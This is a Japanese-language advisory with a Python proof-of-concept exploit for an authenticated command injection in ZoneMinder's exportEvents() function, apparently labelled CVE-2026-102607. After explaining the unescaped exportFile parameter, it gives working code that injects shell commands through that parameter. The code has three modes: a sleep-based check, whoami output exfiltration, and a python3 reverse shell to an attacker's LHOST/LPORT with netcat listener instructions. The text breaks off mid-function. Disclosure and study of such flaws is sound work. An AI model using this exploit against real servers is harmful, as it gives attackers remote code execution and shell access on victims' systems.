
Python PoC。ZoneMinder <= 1.38.1 の exportEvents() における認証済み OS コマンドインジェクション CVE-2026-102607 を悪用し、RCE、コマンド出力の持ち出し、リバースシェルを可能にします。
ZoneMinder のイベントエクスポート機能に、認証済みユーザーが悪用可能な OS コマンドインジェクションの脆弱性が存在します。exportFile HTTP リクエストパラメータがサニタイズされずに PHP の exec() を介して実行されるシェルコマンドに渡されるため、View Events 権限を持つ任意の認証済みユーザーがサーバー上で任意のオペレーティングシステムコマンドを実行できます。
この脆弱性により、Web サーバーユーザー (www-data) として完全なリモートコード実行 (RCE) が可能になります。
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php、103 行目web/skins/classic/includes/export_functions.php の exportEvents()、1030~1032 行目exportEvents() 関数は、$_REQUEST['exportFile'] から直接取得された $export_root パラメータを受け取ります (ajax/event.php、103 行目経由)。このパラメータは、tar および zip コマンドに追加されるディレクトリパスの構築に使用されます。
1020 行目のアーカイブファイルパス ($archive_path) は escapeshellarg() を使用して適切にエスケープされていますが、1030 行目の末尾のディレクトリア引数はサニタイズされずにコマンド文字列に直接連結されています:
// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Line 1032 — executed
exec($command, $output, $status);
攻撃者は exportFile パラメータにシェルメタ文字 (;、|、&& など) を注入することで、意図された tar/zip コマンドから脱出し、任意のコマンドを実行できます。PHP によって追加される末尾の / は、# (シェルコメント文字) を使用して無効化できます。
HTTP Request: $_REQUEST['exportFile']
│
▼
ajax/event.php (line 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (line 890)
└── $export_root = $_REQUEST['exportFile'] // No sanitization
│
▼
export_functions.php (line 1030)
└── $command .= ' ' . $export_root . '/' // Direct concatenation
│
▼
export_functions.php (line 1032)
└── exec($command) // OS Command Execution
View Events または View Snapshots 権限を持つ任意の認証済みユーザー。__csrf_magic トークンを含める必要があります (任意の ZoneMinder ページから取得)。exportDetail=1: 存在しないイベント ID を使用する際に exportEventImagesMaster() で PHP の致命的エラーを防ぐため、このパラメータをリクエストに含める必要があります。#!/usr/bin/env python3
"""
=====================================================================
Affected Version : ZoneMinder <= 1.38.1
Tested On : ZoneMinder 1.38.1 (Docker)
Vulnerability : OS Command Injection in exportEvents()
CVSS Score : 9.9 (Critical)
Attack Vector : Network (Authenticated)
File : web/skins/classic/includes/export_functions.php
Sink : exec() at line 1032
Description:
The exportEvents() function in ZoneMinder constructs shell commands
for `tar` and `zip` archival using unsanitized user input from the
`exportFile` HTTP request parameter. This parameter is used as the
`$export_root` variable, which is directly concatenated into the
command string passed to exec() without escapeshellarg() or any
equivalent sanitization.
An authenticated attacker with "View Events" permission can inject
arbitrary OS commands by appending shell metacharacters (;) to the
`exportFile` parameter, achieving Remote Code Execution as the
web server user (www-data).
Usage:
1. Start a listener on your attack machine:
$ nc -lvnp <LPORT>
2. Run this exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. The exploit supports three modes:
--mode check : Verify the vulnerability (sleep-based timing)
--mode whoami : Extract the output of `whoami`
--mode revshell: Spawn a reverse shell to LHOST:LPORT
Author : d4kw1n
Date : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] 'requests' library required. Install with: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Fetch a valid CSRF token from the target."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Failed to extract CSRF token. Is the target reachable?")
return None
return match.group(1)
def send_payload(self, payload):
"""Send the injection payload via the export action."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Read exfiltrated command output via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Mode: check ──────────────────────────────────────────────
def check(self):
"""Verify the vulnerability using a timing-based approach."""
delay = 5
print(f"[*] Sending sleep {delay} payload for timing verification...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERABLE - Command injection confirmed!")
return True
else:
print("[-] NOT VULNERABLE or target unreachable.")
return False
# ── Mode: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extract the web server user via command output exfiltration."""
outfile = "whoami.tar"
print(f"[*] Injecting: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)
if result:
print(f"[+] Server running as: {result}")
else:
print("[-] Could not retrieve output.")
return result
# ── Mode: revshell ───────────────────────────────────────────
def revshell(self):
"""Spawn a reverse shell using python3 on the target."""
if not self.lhost or not self.lport:
print("[-] --lhost and --lport are required for reverse shell mode.")
return False
print(f"[*] Sending reverse shell payload -> {self.lhost}:{self.lport}")
print("[*] Make sure your listener is running: nc -lvnp {self.lport}")
py_revshell = (
f'export RHOST="{self.lhost}";export RPORT={self.lport};'
f"python3 -c 'import sys,socket,os,pty;"
f"s=socket.socket();"
f's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));'
f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
f"pty.spawn(\"sh\")'"
)